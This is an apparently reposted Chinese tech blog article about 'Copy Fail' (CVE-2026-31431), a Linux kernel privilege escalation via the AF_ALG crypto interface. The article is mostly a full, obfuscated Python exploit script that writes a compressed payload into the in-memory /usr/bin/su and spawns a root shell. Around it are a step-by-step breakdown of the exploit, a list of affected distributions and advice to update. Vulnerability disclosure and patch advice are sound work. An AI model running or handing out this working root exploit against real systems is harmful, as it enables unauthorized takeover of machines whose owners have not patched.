Copy Fail:2017年至今的漏洞,一个脚本获得 Linux root 管理员权限|CVE-2026-31431

只需要10行代码,就能获得自2017年至今大多数 Linux 发行版本的 root 权限。史称 Copy Fail,漏洞编号 CVE-2026-31431

先看提权演示视频

Copy Fail:2017年至今的漏洞,一个脚本获得 Linux root 管理员权限|CVE-2026-31431 1

演示代码

代码来自这里,请仅在自己的机器上测试该漏洞:

#!/usr/bin/env python3
import os as g,zlib,socket as s
def d(x):return bytes.fromhex(x)
def c(f,t,c):
 a=s.socket(38,5,0);a.bind(("aead","authencesn(hmac(sha256),cbc(aes))"));h=279;v=a.setsockopt;v(h,1,d('0800010000000010'+'0'*64));v(h,5,None,4);u,_=a.accept();o=t+4;i=d('00');u.sendmsg([b"A"*4+c],[(h,3,i*4),(h,2,b'\x10'+i*19),(h,4,b'\x08'+i*3),],32768);r,w=g.pipe();n=g.splice;n(f,w,o,offset_src=0);n(r,u.fileno(),o)
 try:u.recv(8+t)
 except:0
f=g.open("/usr/bin/su",0);i=0;e=zlib.decompress(d("78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"))
while i<len(e):c(f,i,e[i:i+4]);i+=4
g.system("su")

Linux 里有一种比较底层的接口,叫 AF_ALG,用来给程序做加密/解密的。它的数据会直接在内核里传来传去,不走普通读写路径

问题出在这里,内核在处理这条数据通道时,没有区分“只读”和“可写”。

比如这段代码,它把额外的数据写入了内存中的 /usr/bin/su 程序,相当于修改了内存中的 su 程序(该程序权限很高),所以执行 su 的时候,就拿到了 root 权限。

Copy Fail

有人专门为这件事制作了一个漏洞演示网站,就叫做 Copy Fail,复制失败。

它还同时演示了 Ubuntu 24.04、Amazon Linux 2023、RHEL 14.3、SUSE 16 几个不同系统中招的过程:

Copy Fail:2017年至今的漏洞,一个脚本获得 Linux root 管理员权限|CVE-2026-31431 2

该漏洞的利用过程是这样的:

  1. 打开 su(目标程序)
  2. 解压一段隐藏代码(payload)
  3. 利用内核漏洞
  4. 把 payload 写进内存里的 su
  5. 执行 su → 拿 root

谁受影响

Copy Fail 只需要一个非特权本地用户账户,不需要网络访问权限,不需要内核调试功能,也不需要预装底层程序。基本上所有主流发行版的默认配置都启用了内核加密 API (AF_ALG),因此整个 2017 → 补丁发布窗口之前的操作系统,都…开箱即用。

注意,Linux 被广泛应用在各种设备中,包括电脑、服务器、云平台、路由器、NAS、物联网设备,甚至部分手机系统,因此影响范围非常广。

怎么办?

更新你的操作系统。


原文:https://www.appinn.com/copy-fail-cve-2026-31431/

写留言

Enable Notifications OK No thanks